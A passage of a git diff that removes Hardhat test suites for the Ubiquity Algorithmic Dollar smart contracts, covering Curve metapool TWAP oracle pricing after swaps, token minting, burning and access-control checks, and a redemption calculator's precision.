expect(oraclePriceuAD).to.equal(ethers.utils.parseEther("1")); - expect(oraclePrice3Crv).to.equal(ethers.utils.parseEther("1")); - }); - it("should return a higher price for 3CRV after a swap from uAD to 3CRV", async () => { - const pool0balBefore = await metaPool.balances(0); - const pool1balBefore = await metaPool.balances(1); - const balancesBefore = await curvePoolFactory.get_balances(metaPool.address); - // take the 3CRV price at this moment - const curve3CRVPriceBefore = await metaPool["get_dy(int128,int128,uint256)"](1, 0, ethers.utils.parseEther("1")); - - const curveUADPriceBefore = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - - const amountOfuADToSwap = ethers.utils.parseEther("1000"); - const accountAdr = await secondAccount.getAddress(); - const accountUADBalanceBeforeSwap = await uAD.balanceOf(accountAdr); - - let oraclePriceuAD = await twapOracle.consult(uAD.address); - let oraclePrice3Crv = await twapOracle.consult(curve3CrvToken); - expect(oraclePriceuAD).to.equal(ethers.utils.parseEther("1")); - expect(oraclePrice3Crv).to.equal(ethers.utils.parseEther("1")); - - const account3CRVBalanceBeforeSwap = await crvToken.balanceOf(accountAdr); - - // Exchange (swap) uAD=> 3CRV - const dyUADto3CRV = await swapUADto3CRV(metaPool, uAD, amountOfuADToSwap.sub(BigNumber.from(1)), secondAccount); - await twapOracle.update(); - const oraclePriceuADBefore = await twapOracle.consult(uAD.address); - const oraclePrice3CrvBefore = await twapOracle.consult(curve3CrvToken); - - // the way TWAP work doesn't include the new price yet but we can have it - // through dy - const curve3CRVPriceAfterSwap = await metaPool["get_dy(int128,int128,uint256)"](1, 0, ethers.utils.parseEther("1")); - - const curveUADPriceAfterSwap = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - - expect(curve3CRVPriceAfterSwap).to.be.gt(curve3CRVPriceBefore); - expect(curveUADPriceAfterSwap).to.be.lt(curveUADPriceBefore); - // to reflect the new price inside the TWAP we need one more swap - await swapUADto3CRV(metaPool, uAD, BigNumber.from(1), secondAccount); - dyUADto3CRV.add(BigNumber.from(1)); - - await twapOracle.update(); - oraclePriceuAD = await twapOracle.consult(uAD.address); - oraclePrice3Crv = await twapOracle.consult(curve3CrvToken); - - // we now have more uAD than before wich means that uAD is worth less than before - // and 3CRV is worth more than before - expect(oraclePriceuAD).to.be.lt(oraclePriceuADBefore); - expect(oraclePrice3Crv).to.be.gt(oraclePrice3CrvBefore); - const pool0balAfter = await metaPool.balances(0); - const pool1balAfter = await metaPool.balances(1); - const balancesAfter = await curvePoolFactory.get_balances(metaPool.address); - expect(pool0balAfter).to.equal(pool0balBefore.add(amountOfuADToSwap)); - - // we now have less 3CRV - expect(pool1balBefore.sub(pool1balAfter)).to.be.gt(0); - const adminFee = await curvePoolFactory.get_admin_balances(metaPool.address); - - // in the basepool we should be short the 3CRV amount transfered to the user + admin fees (50% of trade fee) - // for exchanges the fee is taken in the output currency and calculated against the final amount received. - expect(pool1balAfter).to.equal(pool1balBefore.sub(dyUADto3CRV.add(adminFee[1]))); - // account 3crv Balance should be equal to the estimate swap amount - const account3CRVBalanceAfterSwap = await crvToken.balanceOf(accountAdr); - - expect(account3CRVBalanceAfterSwap).to.be.equal(account3CRVBalanceBeforeSwap.add(dyUADto3CRV)); - const accountuADBalanceAfterSwap = await uAD.balanceOf(accountAdr); - expect(accountuADBalanceAfterSwap).to.be.equal(accountUADBalanceBeforeSwap.sub(amountOfuADToSwap)); - // pool1Blance should be less than before the swap - expect(pool1balBefore.sub(pool1balAfter)).to.be.gt(0); - // UAD balance in the pool should be equal to before + amount - expect(balancesAfter[0].sub(balancesBefore[0])).to.equal(amountOfuADToSwap); - // 3CRV balance in the pool should be less than before the swap - expect(balancesBefore[1].sub(balancesAfter[1])).to.be.gt(0); - - // we should have positive fee in 3CRV - expect(adminFee[1]).to.be.gt(0); - - // if no swap after x block the price stays the same - const LastBlockTimestamp = await metaPool.block_timestamp_last(); - const blockTimestamp = LastBlockTimestamp.toNumber() + 23 * 3600; - await mineBlock(blockTimestamp); - await twapOracle.update(); - const oraclePriceAfterMine = await twapOracle.consult(uAD.address); - expect(oraclePriceuAD.sub(oraclePriceAfterMine)).to.equal(0); - }); - it("should return a higher price for uAD after a swap from 3CRV to uad", async () => { - const pool0balBefore = await metaPool.balances(0); - const pool1balBefore = await metaPool.balances(1); - expect(pool0balBefore).to.equal(ethers.utils.parseEther("10000")); - expect(pool1balBefore).to.equal(ethers.utils.parseEther("10000")); - const balancesBefore = await curvePoolFactory.get_balances(metaPool.address); - const amountOf3CRVToSwap = ethers.utils.parseEther("1000"); - const whaleUADBalanceBeforeSwap = await uAD.balanceOf(curveWhaleAddress); - - let oraclePriceuAD = await twapOracle.consult(uAD.address); - let oraclePrice3Crv = await twapOracle.consult(curve3CrvToken); - expect(oraclePriceuAD).to.equal(ethers.utils.parseEther("1")); - expect(oraclePrice3Crv).to.equal(ethers.utils.parseEther("1")); - const uADInstantPriceRelativeTo3CRVBefore = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - - const whale3CRVBalanceBeforeSwap = await crvToken.balanceOf(curveWhaleAddress); - - // Exchange (swap) 3CRV => uAD - const dy3CRVtouAD = await swap3CRVtoUAD(metaPool, crvToken, amountOf3CRVToSwap.sub(BigNumber.from(1)), curveWhale); - await twapOracle.update(); - - // the way TWAP work doesn't include the new price yet but we can have it - // through dy - const uADPrice = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - const uADInstantPriceRelativeTo3CRVAfterFirstSwap = await metaPool["get_dy(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - expect(uADPrice).to.be.gt(ethers.utils.parseEther("1")); - // to reflect the new price inside the TWAP we need one more swap - await swap3CRVtoUAD(metaPool, crvToken, BigNumber.from(1), curveWhale); - dy3CRVtouAD.add(BigNumber.from(1)); - - await twapOracle.update(); - oraclePriceuAD = await twapOracle.consult(uAD.address); - oraclePrice3Crv = await twapOracle.consult(curve3CrvToken); - // we now have more 3CRV than uAD wich means that 3CRV is worth less than uAD - expect(oraclePriceuAD).to.be.gt(ethers.utils.parseEther("1")); - expect(oraclePrice3Crv).to.be.lt(ethers.utils.parseEther("1")); - const pool0balAfter = await metaPool.balances(0); - const pool1balAfter = await metaPool.balances(1); - const balancesAfter = await curvePoolFactory.get_balances(metaPool.address); - expect(pool1balAfter).to.equal(pool1balBefore.add(amountOf3CRVToSwap)); - - // we now have less uAD - expect(pool0balBefore.sub(pool0balAfter)).to.be.gt(0); - const adminFee = await curvePoolFactory.get_admin_balances(metaPool.address); - - // in the basepool we should be short the uAD amount transfered to the user + admin fees (50% of trade fee) - // for exchanges the fee is taken in the output currency and calculated against the final amount received. - expect(pool0balAfter).to.equal(pool0balBefore.sub(dy3CRVtouAD.add(adminFee[0]))); - // whale account uAD Balance should be equal to the estimate swap amount - const whaleUADBalanceAfterSwap = await uAD.balanceOf(curveWhaleAddress); - - expect(whaleUADBalanceAfterSwap).to.be.equal(whaleUADBalanceBeforeSwap.add(dy3CRVtouAD)); - const whale3CRVBalanceAfterSwap = await crvToken.balanceOf(curveWhaleAddress); - expect(whale3CRVBalanceAfterSwap).to.be.equal(whale3CRVBalanceBeforeSwap.sub(amountOf3CRVToSwap)); - // pool0Blance should be less than before the swap - expect(pool0balBefore.sub(pool0balAfter)).to.be.gt(0); - // 3CRV balance in the pool should be equal to before + 1 - expect(balancesAfter[1].sub(balancesBefore[1])).to.equal(amountOf3CRVToSwap); - // uAD balance in the pool should be less than before the swap - expect(balancesBefore[0].sub(balancesAfter[0])).to.be.gt(0); - - // we should have positive fee in UAD - expect(adminFee[0]).to.be.gt(0); - - await twapOracle.update(); - const oraclePriceuADAfter = await twapOracle.consult(uAD.address); - expect(oraclePriceuADAfter).to.be.gt(ethers.utils.parseEther("1")); - expect(uADInstantPriceRelativeTo3CRVAfterFirstSwap).to.be.gt(uADInstantPriceRelativeTo3CRVBefore); - // if no swap after x block the price stays the same - const LastBlockTimestamp = await metaPool.block_timestamp_last(); - const blockTimestamp = LastBlockTimestamp.toNumber() + 23 * 3600; - await mineBlock(blockTimestamp); - await twapOracle.update(); - const oraclePriceAfterMine = await twapOracle.consult(uAD.address); - expect(oraclePriceuADAfter.sub(oraclePriceAfterMine)).to.equal(0); - }); - it("should return correct price after a swap for token", async () => { - const pool0balBefore = await metaPool.balances(0); - const pool1balBefore = await metaPool.balances(1); - expect(pool0balBefore).to.equal(ethers.utils.parseEther("10000")); - expect(pool1balBefore).to.equal(ethers.utils.parseEther("10000")); - const balancesBefore = await curvePoolFactory.get_balances(metaPool.address); - let oraclePriceuAD = await twapOracle.consult(uAD.address); - let oraclePrice3Crv = await twapOracle.consult(curve3CrvToken); - expect(oraclePriceuAD).to.equal(ethers.utils.parseEther("1")); - expect(oraclePrice3Crv).to.equal(ethers.utils.parseEther("1")); - // Exchange (swap) uAD => 3CRV - const dyuADto3CRV = await swapUADto3CRV(metaPool, uAD, ethers.utils.parseEther("1"), secondAccount); - - const secondAccount3CRVBalanceAfterSwap = await crvToken.balanceOf(await secondAccount.getAddress()); - await twapOracle.update(); - oraclePriceuAD = await twapOracle.consult(uAD.address); - oraclePrice3Crv = await twapOracle.consult(curve3CrvToken); - // we now have more uAD than 3CRV wich means that uAD is worth less than 3CRV - expect(oraclePriceuAD).to.be.lt(ethers.utils.parseEther("1")); - expect(oraclePrice3Crv).to.be.gt(ethers.utils.parseEther("1")); - const pool0balAfter = await metaPool.balances(0); - const pool1balAfter = await metaPool.balances(1); - const balancesAfter = await curvePoolFactory.get_balances(metaPool.address); - expect(pool0balAfter).to.equal(pool0balBefore.add(ethers.utils.parseEther("1"))); - - // we now have less 3CRV - expect(pool1balBefore.sub(pool1balAfter)).to.be.gt(0); - const adminFee = await curvePoolFactory.get_admin_balances(metaPool.address); - - // in the basepool 3CRV we should be short the dai amount transfered to the user + admin fees (50% of trade fee) - // for exchanges the fee is taken in the output currency and calculated against the final amount received. - expect(pool1balAfter).to.equal(pool1balBefore.sub(dyuADto3CRV.add(adminFee[1]))); - // second account DAI Balance should be equal to the estimate swap amount - expect(secondAccount3CRVBalanceAfterSwap).to.be.equal(dyuADto3CRV); - // pool1Blance should be less than before the swap - expect(pool1balBefore.sub(pool1balAfter)).to.be.gt(0); - // uAD balance in the pool should be equal to before + 1 - expect(balancesAfter[0].sub(balancesBefore[0])).to.equal(ethers.utils.parseEther("1")); - // 3CRV balance in the pool should be less than before the swap - expect(balancesBefore[1].sub(balancesAfter[1])).to.be.gt(0); - - // we should have positive fee in 3CRV - expect(adminFee[1]).to.be.gt(0); - - await twapOracle.update(); - const oraclePriceuADAfter = await twapOracle.consult(uAD.address); - expect(oraclePriceuADAfter).to.be.lt(ethers.utils.parseEther("1")); - // if no swap after x block the price stays the same - const LastBlockTimestamp = await metaPool.block_timestamp_last(); - const blockTimestamp = LastBlockTimestamp.toNumber() + 23 * 3600; - await mineBlock(blockTimestamp); - await twapOracle.update(); - const oraclePriceAfterMine = await twapOracle.consult(uAD.address); - expect(oraclePriceuADAfter.sub(oraclePriceAfterMine)).to.equal(0); - }); - it("should return correct price after a swap for underlying token", async () => { - const pool0balBefore = await metaPool.balances(0); - const pool1balBefore = await metaPool.balances(1); - expect(pool0balBefore).to.equal(ethers.utils.parseEther("10000")); - expect(pool1balBefore).to.equal(ethers.utils.parseEther("10000")); - const balancesBefore = await curvePoolFactory.get_underlying_balances(metaPool.address); - let oraclePriceuAD = await twapOracle.consult(uAD.address); - let oraclePrice3Crv = await twapOracle.consult(curve3CrvToken); - expect(oraclePriceuAD).to.equal(ethers.utils.parseEther("1")); - expect(oraclePrice3Crv).to.equal(ethers.utils.parseEther("1")); - // Exchange (swap) - const dyuADtoDAI = await swapUADtoDAI(metaPool, uAD, ethers.utils.parseEther("1"), secondAccount); - const secondAccountDAIBalanceAfterSwap = await daiToken.balanceOf(await secondAccount.getAddress()); - await twapOracle.update(); - oraclePriceuAD = await twapOracle.consult(uAD.address); - oraclePrice3Crv = await twapOracle.consult(curve3CrvToken); - // we now have more uAD than 3CRV wich means that uAD is worth less than 3CRV - expect(oraclePriceuAD).to.be.lt(ethers.utils.parseEther("1")); - expect(oraclePrice3Crv).to.be.gt(ethers.utils.parseEther("1")); - const pool0balAfter = await metaPool.balances(0); - const pool1balAfter = await metaPool.balances(1); - const balancesAfter = await curvePoolFactory.get_underlying_balances(metaPool.address); - expect(pool0balAfter).to.equal(pool0balBefore.add(ethers.utils.parseEther("1"))); - // we now have less 3CRV - expect(pool1balBefore.sub(pool1balAfter)).to.be.gt(1); - const adminFee = await curvePoolFactory.get_admin_balances(metaPool.address); - - // second account DAI Balance should be equal to the estimate swap amount - expect(secondAccountDAIBalanceAfterSwap).to.be.equal(dyuADtoDAI); - // pool1Blance should be less than before the swap - expect(pool1balBefore.sub(pool1balAfter)).to.be.gt(0); - // uAD balance in the pool should be equal to before + 1 - expect(balancesAfter[0].sub(balancesBefore[0])).to.equal(ethers.utils.parseEther("1")); - // Dai balance in the pool should be less than before the swap - expect(balancesBefore[1].sub(balancesAfter[1])).to.be.gt(0); - // USDC balance in the pool should be less than before the swap - expect(balancesBefore[2].sub(balancesAfter[2])).to.be.gt(0); - // USDT balance in the pool should be less than before the swap - expect(balancesBefore[3].sub(balancesAfter[3])).to.be.gt(0); - // we should have positive fee in 3CRV - expect(adminFee[1]).to.be.gt(0); - - await twapOracle.update(); - const oraclePriceuADAfter = await twapOracle.consult(uAD.address); - expect(oraclePriceuADAfter).to.be.lt(ethers.utils.parseEther("1")); - // if no swap after x block the price stays the same - const LastBlockTimestamp = await metaPool.block_timestamp_last(); - const blockTimestamp = LastBlockTimestamp.toNumber() + 23 * 3600; - await mineBlock(blockTimestamp); - await twapOracle.update(); - const oraclePriceAfterMine = await twapOracle.consult(uAD.address); - expect(oraclePriceuADAfter.sub(oraclePriceAfterMine)).to.equal(0); - }); - }); -}); diff --git a/packages/contracts/dollar/test/UAR.test.ts b/packages/contracts/dollar/test/UAR.test.ts deleted file mode 100644 index b91ba5225..000000000 --- a/packages/contracts/dollar/test/UAR.test.ts +++ /dev/null @@ -1,81 +0,0 @@ -import { BigNumber, Signer } from "ethers"; -import { ethers } from "hardhat"; -import { expect } from "chai"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { UbiquityAutoRedeem } from "../artifacts/types/UbiquityAutoRedeem"; -import { DebtCoupon } from "../artifacts/types/DebtCoupon"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; - -describe("UAR", () => { - let manager: UbiquityAlgorithmicDollarManager; - let uAR: UbiquityAutoRedeem; - let admin: Signer; - let secondAcc: Signer; - let treasury: Signer; - let debtCoupon: DebtCoupon; - let uAD: UbiquityAlgorithmicDollar; - - beforeEach(async () => { - // list of accounts - [admin, secondAcc, treasury] = await ethers.getSigners(); - // deploy manager - const UADMgr = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - manager = (await UADMgr.deploy(await admin.getAddress())) as UbiquityAlgorithmicDollarManager; - // set ubiquity Dollar - const uADFactory = await ethers.getContractFactory("UbiquityAlgorithmicDollar"); - uAD = (await uADFactory.deploy(manager.address)) as UbiquityAlgorithmicDollar; - await manager.connect(admin).setDollarTokenAddress(uAD.address); - await uAD.mint(await admin.getAddress(), ethers.utils.parseEther("10000")); - // set treasury - await manager.connect(admin).setTreasuryAddress(await treasury.getAddress()); - - // set debt coupon token - const debtCouponFactory = await ethers.getContractFactory("DebtCoupon"); - debtCoupon = (await debtCouponFactory.deploy(manager.address)) as DebtCoupon; - - await manager.connect(admin).setDebtCouponAddress(debtCoupon.address); - - // deploy uAR - const uARFactory = await ethers.getContractFactory("UbiquityAutoRedeem"); - uAR = (await uARFactory.deploy(manager.address)) as UbiquityAutoRedeem; - await manager.setuARTokenAddress(uAR.address); - }); - describe("SetName", () => { - const newName = "Super Moon UAR"; - it("should work", async () => { - const prevName = await uAR.name(); - expect(prevName).to.equal("Ubiquity Auto Redeem"); - await uAR.connect(admin).setName(newName); - const name = await uAR.name(); - expect(name).to.equal(newName); - }); - it("should fail if not admin", async () => { - await expect(uAR.connect(secondAcc).setName(newName)).to.revertedWith("ERC20: deployer must be manager admin"); - }); - }); - describe("SetSymbol", () => { - const newSymbol = "UARMOON"; - it("should work", async () => { - const prevSym = await uAR.symbol(); - expect(prevSym).to.equal("uAR"); - await uAR.connect(admin).setSymbol(newSymbol); - const symbol = await uAR.symbol(); - expect(symbol).to.equal(newSymbol); - }); - it("should fail if not admin", async () => { - await expect(uAR.connect(secondAcc).setSymbol(newSymbol)).to.revertedWith("ERC20: deployer must be manager admin"); - }); - }); - it("should revert if you call raise capital when not being a minter", async () => { - await expect(uAR.connect(secondAcc).raiseCapital(100)).to.be.revertedWith("Governance token: not minter"); - }); - it("raise capital should mint UAR for the treasury", async () => { - const treasuryAdr = await treasury.getAddress(); - const amount = BigNumber.from(1000); - const balanceBefore = await uAR.balanceOf(treasuryAdr); - await uAR.raiseCapital(amount); - const balanceAfter = await uAR.balanceOf(treasuryAdr); - - expect(balanceAfter).to.equal(balanceBefore.add(amount)); - }); -}); diff --git a/packages/contracts/dollar/test/UARForDollarCalculator.test.ts b/packages/contracts/dollar/test/UARForDollarCalculator.test.ts deleted file mode 100644 index 972a89c0d..000000000 --- a/packages/contracts/dollar/test/UARForDollarCalculator.test.ts +++ /dev/null @@ -1,88 +0,0 @@ -import { Signer } from "ethers"; -import { ethers } from "hardhat"; -import { expect } from "chai"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { UARForDollarsCalculator } from "../artifacts/types/UARForDollarsCalculator"; -import { calcUARforDollar, isAmountEquivalent } from "./utils/calc"; -import { DebtCoupon } from "../artifacts/types/DebtCoupon"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; - -describe("UARForDollarsCalculator", () => { - let manager: UbiquityAlgorithmicDollarManager; - let uARForDollarCalculator: UARForDollarsCalculator; - let admin: Signer; - let debtCoupon: DebtCoupon; - let uAD: UbiquityAlgorithmicDollar; - - beforeEach(async () => { - // list of accounts - [admin] = await ethers.getSigners(); - // deploy manager - const UADMgr = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - manager = (await UADMgr.deploy(await admin.getAddress())) as UbiquityAlgorithmicDollarManager; - // set ubiquity Dollar - const uADFactory = await ethers.getContractFactory("UbiquityAlgorithmicDollar"); - uAD = (await uADFactory.deploy(manager.address)) as UbiquityAlgorithmicDollar; - await manager.connect(admin).setDollarTokenAddress(uAD.address); - await uAD.mint(await admin.getAddress(), ethers.utils.parseEther("10000")); - // set debt coupon token - const debtCouponFactory = await ethers.getContractFactory("DebtCoupon"); - debtCoupon = (await debtCouponFactory.deploy(manager.address)) as DebtCoupon; - - await manager.connect(admin).setDebtCouponAddress(debtCoupon.address); - - // set UAR Dollar Minting Calculator - const dollarMintingCalculatorFactory = await ethers.getContractFactory("UARForDollarsCalculator"); - uARForDollarCalculator = (await dollarMintingCalculatorFactory.deploy(manager.address)) as UARForDollarsCalculator; - }); - it("should have coef equal 1 after deployment", async () => { - const coef = await uARForDollarCalculator.getConstant(); - expect(coef).to.equal(ethers.utils.parseEther("1")); - await uARForDollarCalculator.setConstant(ethers.utils.parseEther("1")); - const coef2 = await uARForDollarCalculator.getConstant(); - expect(coef).to.equal(coef2); - await uARForDollarCalculator.setConstant(ethers.utils.parseEther("1.00012454654")); - const coef3 = await uARForDollarCalculator.getConstant(); - expect(coef3).to.equal(ethers.utils.parseEther("1.00012454654")); - }); - it("should calculate correctly with coef equal 1 ", async () => { - const blockHeight = await ethers.provider.getBlockNumber(); - const dollarToBurn = ethers.utils.parseEther("1"); - const blockHeightDebt = blockHeight - 100; - const coef = ethers.utils.parseEther("1"); - const uARMinted = await uARForDollarCalculator.getUARAmount(dollarToBurn, blockHeightDebt); - const calculatedUARMinted = calcUARforDollar(dollarToBurn.toString(), blockHeightDebt.toString(), blockHeight.toString(), coef.toString()); - const isPrecise = isAmountEquivalent(uARMinted.toString(), calculatedUARMinted.toString(), "0.0000000000000001"); - expect(isPrecise).to.be.true; - }); - it("should calculate correctly with coef > 1 ", async () => { - const blockHeight = await ethers.provider.getBlockNumber(); - const dollarToBurn = ethers.utils.parseEther("451.45"); - const blockHeightDebt = blockHeight - 24567; - const coef = ethers.utils.parseEther("1.015"); - const uARMinted = await uARForDollarCalculator.getUARAmount(dollarToBurn, blockHeightDebt); - const calculatedUARMinted = calcUARforDollar(dollarToBurn.toString(), blockHeightDebt.toString(), blockHeight.toString(), coef.toString()); - const isPrecise = isAmountEquivalent(uARMinted.toString(), calculatedUARMinted.toString(), "0.0001"); - expect(isPrecise).to.be.true; - }); - it("should calculate correctly with precise coef ", async () => { - const blockHeight = await ethers.provider.getBlockNumber(); - const dollarToBurn = ethers.utils.parseEther("451.45"); - const blockHeightDebt = blockHeight - 24567; - const coef = ethers.utils.parseEther("1.01546545115"); - const uARMinted = await uARForDollarCalculator.getUARAmount(dollarToBurn, blockHeightDebt); - const calculatedUARMinted = calcUARforDollar(dollarToBurn.toString(), blockHeightDebt.toString(), blockHeight.toString(), coef.toString()); - const isPrecise = isAmountEquivalent(uARMinted.toString(), calculatedUARMinted.toString(), "0.0001"); - expect(isPrecise).to.be.true; - }); - it("should calculate correctly with precise coef and large amount ", async () => { - const blockHeight = await ethers.provider.getBlockNumber(); - const dollarToBurn = ethers.utils.parseEther("24564458758451.45454564564685145"); - const blockHeightDebt = blockHeight - 24567; - const coef = ethers.utils.parseEther("1.01546545115"); - const uARMinted = await uARForDollarCalculator.getUARAmount(dollarToBurn, blockHeightDebt); - const calculatedUARMinted = calcUARforDollar(dollarToBurn.toString(), blockHeightDebt.toString(), blockHeight.toString(), coef.toString()); - const isPrecise = isAmountEquivalent(uARMinted.toString(), calculatedUARMinted.toString(), "0.0001"); - expect(isPrecise).to.be.true; - }); -}); diff --git a/packages/contracts/dollar/test/UbiquityAlgorithmicDollar.test.ts b/packages/contracts/dollar/test/UbiquityAlgorithmicDollar.test.ts deleted file mode 100644 index 878e1e39c..000000000 --- a/packages/contracts/dollar/test/UbiquityAlgorithmicDollar.test.ts +++ /dev/null @@ -1,113 +0,0 @@ -import { Signer } from "ethers"; -import { ethers } from "hardhat"; -import { expect } from "chai"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; - -describe("UbiquityAlgorithmicDollar", () => { - let admin: Signer; - let secondAccount: Signer; - let thirdAccount: Signer; - let manager: UbiquityAlgorithmicDollarManager; - let uAD: UbiquityAlgorithmicDollar; - const UBQ_BURNER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_BURNER_ROLE")); - - beforeEach(async () => { - [admin, secondAccount, thirdAccount] = await ethers.getSigners(); - const Manager = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - manager = (await Manager.deploy(await admin.getAddress())) as UbiquityAlgorithmicDollarManager; - - const UAD = await ethers.getContractFactory("UbiquityAlgorithmicDollar"); - uAD = (await UAD.deploy(manager.address)) as UbiquityAlgorithmicDollar; - }); - describe("SetName", () => { - const newName = "Super Moon UBQ"; - it("should work", async () => { - const prevName = await uAD.name(); - expect(prevName).to.equal("Ubiquity Algorithmic Dollar"); - await uAD.connect(admin).setName(newName); - const name = await uAD.name(); - expect(name).to.equal(newName); - }); - it("should fail if not admin", async () => { - await expect(uAD.connect(secondAccount).setName(newName)).to.revertedWith("ERC20: deployer must be manager admin"); - }); - }); - describe("SetSymbol", () => { - const newSymbol = "UBMOON"; - it("should work", async () => { - const prevSym = await uAD.symbol(); - expect(prevSym).to.equal("uAD"); - await uAD.connect(admin).setSymbol(newSymbol); - const symbol = await uAD.symbol(); - expect(symbol).to.equal(newSymbol); - }); - it("should fail if not admin", async () => { - await expect(uAD.connect(secondAccount).setSymbol(newSymbol)).to.revertedWith("ERC20: deployer must be manager admin"); - }); - }); - describe("Transfer", () => { - it("should work", async () => { - const sndAdr = await secondAccount.getAddress(); - const thirdAdr = await thirdAccount.getAddress(); - await uAD.connect(admin).mint(sndAdr, ethers.utils.parseEther("10000")); - expect(await uAD.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("10000")); - // transfer uad - await uAD.connect(secondAccount).transfer(thirdAdr, ethers.utils.parseEther("42")); - expect(await uAD.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("9958")); - expect(await uAD.balanceOf(thirdAdr)).to.equal(ethers.utils.parseEther("42")); - }); - it("should fail if balance is insufficient", async () => { - const sndAdr = await secondAccount.getAddress(); - const thirdAdr = await thirdAccount.getAddress(); - await uAD.connect(admin).mint(sndAdr, ethers.utils.parseEther("10000")); - expect(await uAD.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("10000")); - // transfer uad - await expect(uAD.connect(secondAccount).transfer(thirdAdr, ethers.utils.parseEther("10000.0000000001"))).to.revertedWith( - "ERC20: transfer amount exceeds balance" - ); - }); - }); - describe("Mint", () => { - it("should work", async () => { - const sndAdr = await secondAccount.getAddress(); - await uAD.connect(admin).mint(sndAdr, ethers.utils.parseEther("10000")); - expect(await uAD.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("10000")); - }); - it("should fail if not Minter Role", async () => { - const thirdAdr = await thirdAccount.getAddress(); - // transfer uad - await expect(uAD.connect(secondAccount).mint(thirdAdr, ethers.utils.parseEther("10000"))).to.revertedWith("Governance token: not minter"); - }); - }); - describe("Burn", () => { - it("should work", async () => { - const sndAdr = await secondAccount.getAddress(); - await uAD.connect(admin).mint(sndAdr, ethers.utils.parseEther("10000")); - expect(await uAD.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("10000")); - await uAD.connect(secondAccount).burn(ethers.utils.parseEther("10000")); - expect(await uAD.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("0")); - }); - it("should fail if balance is insufficient", async () => { - await expect(uAD.connect(secondAccount).burn(ethers.utils.parseEther("10000"))).to.revertedWith("ERC20: burn amount exceeds balance"); - }); - }); - describe("BurnFrom", () => { - it("should fail", async () => { - const sndAdr = await secondAccount.getAddress(); - await uAD.connect(admin).mint(sndAdr, ethers.utils.parseEther("10000")); - expect(await uAD.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("10000")); - await expect(uAD.connect(admin).burnFrom(sndAdr, ethers.utils.parseEther("10000"))).to.revertedWith("Governance token: not burner"); - }); - it("should work", async () => { - const sndAdr = await secondAccount.getAddress(); - const admAdr = await admin.getAddress(); - - await uAD.connect(admin).mint(sndAdr, ethers.utils.parseEther("10000")); - expect(await uAD.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("10000")); - await manager.grantRole(UBQ_BURNER_ROLE, admAdr); - await uAD.connect(admin).burnFrom(sndAdr, ethers.utils.parseEther("10000")); - expect(await uAD.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("0")); - }); - }); -}); diff --git a/packages/contracts/dollar/test/UbiquityAlgorithmicDollarManager.test.ts b/packages/contracts/dollar/test/UbiquityAlgorithmicDollarManager.test.ts deleted file mode 100644 index 2cc79e16b..000000000 --- a/packages/contracts/dollar/test/UbiquityAlgorithmicDollarManager.test.ts +++ /dev/null @@ -1,159 +0,0 @@ -import { BigNumber, Signer } from "ethers"; -import { ethers, getNamedAccounts, network } from "hardhat"; -import { expect } from "chai"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { BondingShare } from "../artifacts/types/BondingShare"; -import { ERC20 } from "../artifacts/types/ERC20"; -import { UbiquityAutoRedeem } from "../artifacts/types/UbiquityAutoRedeem"; -import { UARForDollarsCalculator } from "../artifacts/types/UARForDollarsCalculator"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { UbiquityGovernance } from "../artifacts/types/UbiquityGovernance"; -import { DebtCoupon } from "../artifacts/types/DebtCoupon"; -import { SushiSwapPool } from "../artifacts/types/SushiSwapPool"; - -describe("UbiquityAlgorithmicDollarManager", () => { - // let bonding: Bonding; - let debtCoupon: DebtCoupon; - let manager: UbiquityAlgorithmicDollarManager; - let admin: Signer; - let uAD: UbiquityAlgorithmicDollar; - let uAR: UbiquityAutoRedeem; - let uarForDollarsCalculator: UARForDollarsCalculator; - let uGOV: UbiquityGovernance; - let curveFactory: string; - let curve3CrvBasePool: string; - let curve3CrvToken: string; - let curveWhaleAddress: string; - // let twapOracle: TWAPOracle; - let bondingShare: BondingShare; - - beforeEach(async () => { - ({ curveFactory, curve3CrvBasePool, curve3CrvToken, curveWhaleAddress } = await getNamedAccounts()); - [admin] = await ethers.getSigners(); - const UADMgr = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - manager = (await UADMgr.deploy(await admin.getAddress())) as UbiquityAlgorithmicDollarManager; - - const UAD = await ethers.getContractFactory("UbiquityAlgorithmicDollar"); - uAD = (await UAD.deploy(manager.address)) as UbiquityAlgorithmicDollar; - - const UAR = await ethers.getContractFactory("UbiquityAutoRedeem"); - uAR = (await UAR.deploy(manager.address)) as UbiquityAutoRedeem; - - const uarForDollarsCalculatorFactory = await ethers.getContractFactory("UARForDollarsCalculator"); - uarForDollarsCalculator = (await uarForDollarsCalculatorFactory.deploy(manager.address)) as UARForDollarsCalculator; - - const UGOV = await ethers.getContractFactory("UbiquityGovernance"); - uGOV = (await UGOV.deploy(manager.address)) as UbiquityGovernance; - - const debtCouponFactory = await ethers.getContractFactory("DebtCoupon"); - debtCoupon = (await 